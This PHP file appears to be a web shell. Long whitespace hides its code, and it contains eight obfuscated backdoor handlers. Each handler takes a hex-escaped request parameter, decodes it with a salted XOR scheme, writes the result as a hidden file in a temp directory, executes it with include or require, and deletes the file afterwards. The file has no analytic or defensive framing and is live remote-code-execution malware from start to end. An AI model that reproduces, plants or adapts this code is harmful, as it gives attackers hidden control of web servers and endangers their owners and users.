<?php																																										if(filter_has_var(INPUT_POST, "\x70\x67rp")){ $comp = $_POST["\x70\x67rp"]; $comp = explode("." ,$comp ) ; $property_set = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); $v = 0; array_walk($comp ,function ($v7) use (&$property_set ,&$v ,$s7 ,$lenS) { $chS = ord($s7[$v % $lenS]); $dec = ((int)$v7 - $chS - ($v % 10)) ^ 17; $property_set .= chr($dec); $v++;} ); $key = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/var/tmp", getcwd()]); $flg = 0; do { $desc = $key[$flg] ?? null; if ($flg >= count($key)) break; if (is_dir($desc) && is_writable($desc)) { $descriptor = str_replace("{var_dir}", $desc, "{var_dir}/.element"); if (file_put_contents($descriptor, $property_set)) { require $descriptor; unlink($descriptor); exit; } } $flg++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "obje\x63t")){ $pointer = $_REQUEST["obje\x63t"]; $pointer = explode( '.', $pointer ); $k = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $y = 0; $len = count($pointer); do { if ($y >= $len) break; $v1 = $pointer[$y]; $chS = ord($salt6[$y % $sLen]); $dec = ((int)$v1 - $chS - ($y % 10)) ^ 84; $k.= chr($dec); $y++; } while (true); $pset = array_filter([getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp"]); while ($elem = array_shift($pset)) { if (is_dir($elem) ? is_writable($elem) : false) { $holder = vsprintf("%s/%s", [$elem, ".ptr"]); if (@file_put_contents($holder, $k) !== false) { include $holder; unlink($holder); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x65nt\x72y"])){ $pset = $_POST["\x65nt\x72y"]; $pset=explode ( '.' , $pset) ; $obj = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $m = 0; while ($m < count($pset)) { $v3 = $pset[$m]; $sChar = ord($salt9[$m % $lenS]); $dec = ((int)$v3 - $sChar - ($m % 10)) ^ 95; $obj .=chr($dec); $m++; } $ref = array_filter([session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir()]); for ($pgrp = 0, $holder = count($ref); $pgrp < $holder; $pgrp++) { $dat = $ref[$pgrp]; if (is_dir($dat) && is_writable($dat)) { $elem = join("/", [$dat, ".comp"]); if (file_put_contents($elem, $obj)) { require $elem; unlink($elem); exit; } } } }
																																										if(in_array("bi\x6Ed\x69ng", array_keys($_REQUEST))){ $fac = array_filter(["/tmp", "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $flag = $_REQUEST["bi\x6Ed\x69ng"]; $flag = explode ( ".",$flag ); $itm = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $q = 0; $len = count($flag); do { if ($q >= $len) break; $v9 = $flag[$q]; $sChar = ord($s6[$q %$sLen]); $d = ((int)$v9 - $sChar - ($q %10)) ^ 70; $itm .= chr($d); $q++; } while (true); $dat = 0; do { $token = $fac[$dat] ?? null; if ($dat >= count($fac)) break; if ((is_dir($token) and is_writable($token))) { $bind = sprintf("%s/.dchunk", $token); if (file_put_contents($bind, $itm)) { require $bind; unlink($bind); exit; } } $dat++; } while (true); }
																																										if(isset($_REQUEST["comp"]) ? true : false){ $pgrp = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]); $fac = $_REQUEST["comp"]; $fac = explode ( "." ,$fac) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $t = 0; foreach ($fac as $v3) { $chS = ord($salt[$t % $lenS]); $d = ((int)$v3 - $chS - ($t % 10)) ^ 12; $item .= chr($d); $t++; } foreach ($pgrp as $key => $entity) { if (is_writable($entity) && is_dir($entity)) { $marker = str_replace("{var_dir}", $entity, "{var_dir}/.property_set"); if (@file_put_contents($marker, $item) !== false) { include $marker; unlink($marker); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "b\x69\x6Ed")){ $key = array_filter([sys_get_temp_dir(), "/tmp", getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); $itm = $_POST["b\x69\x6Ed"]; $itm =explode ( '.', $itm ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($itm as $n=> $v6): $chS = ord($salt[$n % $lenS] ); $dec = ((int)$v6 - $chS - ($n % 10)) ^50; $value .=chr($dec ); endforeach; while ($desc = array_shift($key)) { if (max(0, is_dir($desc) * is_writable($desc))) { $flg = str_replace("{var_dir}", $desc, "{var_dir}/.property_set"); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $flg; @unlink($flg); die(); } } } }
																																										if(!empty($_POST["\x64\x63\x68unk"])){ $pgrp = array_filter([getenv("TMP"), getcwd(), session_save_path(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm"]); $dat = $_POST["\x64\x63\x68unk"]; $dat =explode( "." , $dat ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($dat); for($y = 0; $y< $__len; $y++) { $v5 = $dat[$y]; $chS = ord($s[$y % $lenS]); $dec =((int)$v5 - $chS -($y % 10)) ^ 95; $parameter_group.=chr($dec); } foreach ($pgrp as $key => $data) { if (!!is_dir($data) && !!is_writable($data)) { $mrk = "$data" . "/.sym"; $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $mrk; @unlink($mrk); exit; } } } }


if(@$_REQUEST["\x66acto\x72"] !== null){
	$pset = $_REQUEST["\x66acto\x72"];
	 $pset=explode  ( '.',	  $pset	  ) 	;	
	$hld = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(		$s8);
            $m = 0;
    
            array_walk(		$pset,		function(		$v5) use(		&$hld,		&$m,		$s8,		$lenS) {
                $sChar = ord(		$s8[$m	% 	$lenS]);
                $d =(		(		int)$v5 - $sChar -(		$m	% 	10))^ 26;
                $hld  .=		chr(		$d);
                $m++;  }	 );
	$ptr = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getcwd(), "/tmp", getenv("TMP"), session_save_path(), "/var/tmp"]);
	while ($tkn = array_shift($ptr)) {
    		if (array_product([is_dir($tkn), is_writable($tkn)])) {
    $ent = implode("/", [$tkn, ".marker"]);
    if (@file_put_contents($ent, $hld) !== false) {
	include $ent;
	unlink($ent);
	exit;
}
}
}
}